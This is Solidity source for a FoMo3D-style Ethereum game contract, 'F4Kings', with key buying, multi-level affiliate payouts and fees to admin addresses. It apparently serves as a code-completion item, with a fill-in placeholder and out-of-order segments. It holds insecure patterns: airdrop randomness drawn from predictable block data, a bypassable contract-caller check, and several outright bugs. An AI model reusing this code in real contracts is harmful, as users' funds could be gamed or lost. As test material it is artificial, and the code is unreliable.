else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay community rewards
uint256 _com = _eth / 10;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
// pay 1% out to FoMo3D short
// uint256 _long = _eth / 100;
// otherF3D_.potSwap.value(_long)();
_p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID));
// pay out p3d
// _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
// deposit to divies contract
uint256 _potAmount = _p3d / 2;
uint256 _amount = _p3d.sub(_potAmount);
shareCom.transfer((_amount.mul(65)/100));
admin.transfer((_amount.mul(35)/100));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
returns(uint256)
{
uint256 _addP3d = 0;
// distribute share to affiliate
uint256 _aff1 = _eth / 10;
uint256 _aff2 = _eth / 20;
uint256 _aff3 = _eth / 34;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != ''))
{
plyr_[_pID].laffID = _affID;
plyr_[_affID].aff = _aff1.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff1, now);
//second level aff
uint256 _secLaff = plyr_[_affID].laffID;
if((_secLaff != 0) && (_secLaff != _pID))
{
plyr_[_secLaff].aff = _aff2.add(plyr_[_secLaff].aff);
emit F3Devents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff2, now);
//third level aff
uint256 _thirdAff = plyr_[_secLaff].laffID;
if((_thirdAff != 0 ) && (_thirdAff != _pID))
{
plyr_[_thirdAff].aff = _aff3.add(plyr_[_thirdAff].aff);
emit F3Devents.onAffiliatePayout(_thirdAff, plyr_[_thirdAff].addr, plyr_[_thirdAff].name, _rID, _pID, _aff3, now);
} else {
_addP3d = _addP3d.add(_aff3);
}
} else {
_addP3d = _addP3d.add(_aff2);
}
} else {
_addP3d = _addP3d.add(_aff1);
}
return(_addP3d);
}
function getPlayerAff(uint256 _pID)
public
view
returns (uint256,uint256,uint256)
{
uint256 _affID = plyr_[_pID].laffID;
if (_affID != 0)
{
//second level aff
uint256 _secondLaff = plyr_[_affID].laffID;
if(_secondLaff != 0)
{
//third level aff
uint256 _thirdAff = plyr_[_secondLaff].laffID;
}
}
return (_affID,_secondLaff,_thirdAff);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
//_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
_eth = _eth.sub(_eth.mul(30) / 100);
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require(msg.sender == admin, "only admin can activate");
// can only be ran once
require(activated_ == false, "FOMO Short already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
} | contract F4Kings is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf626967fA13d841fd74D49dEe9bDd0D0dD6C4394);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin = msg.sender;
address private shareCom = 0x431C4354dB7f2b9aC1d9B2019e925C85C725DA5c;
string constant public name = "f4kings";
string constant public symbol = "f4kings";
uint256 private rndExtra_ = 0; // length of the very first ICO
uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 24 hours; // round timer starts at this
uint256 constant private rndInc_ = 20 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be
uint256 constant private rndLimit_ = 3; // limit rnd eth purchase
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(22,0); //48% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(32,0); //38% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(52,0); //18% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(42,0); //28% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D)
potSplit_[0] = F3Ddatasets.PotSplit(42,0); //48% to winner, 0% to next round, 10% to com
potSplit_[1] = F3Ddatasets.PotSplit(34,0); //48% to winner, 8% to next round, 10% to com
potSplit_[2] = F3Ddatasets.PotSplit(18,0); //48% to winner, 24% to next round, 10% to com
potSplit_[3] = F3Ddatasets.PotSplit(26,0); //48% to winner, 16% to next round, 10% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
uint256 _withdrawFee;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
{
//10% trade tax
_withdrawFee = _eth / 10;
uint256 _p1 = _withdrawFee.mul(65) / 100;
uint256 _p2 = _withdrawFee.mul(35) / 100;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
{
//10% trade tax
_withdrawFee = _eth / 10;
_p1 = _withdrawFee.mul(65) / 100;
_p2 = _withdrawFee.mul(35) / 100;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 100000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
<FILL_FUNCTION>
/**
* @dev returns current eth price for X keys.
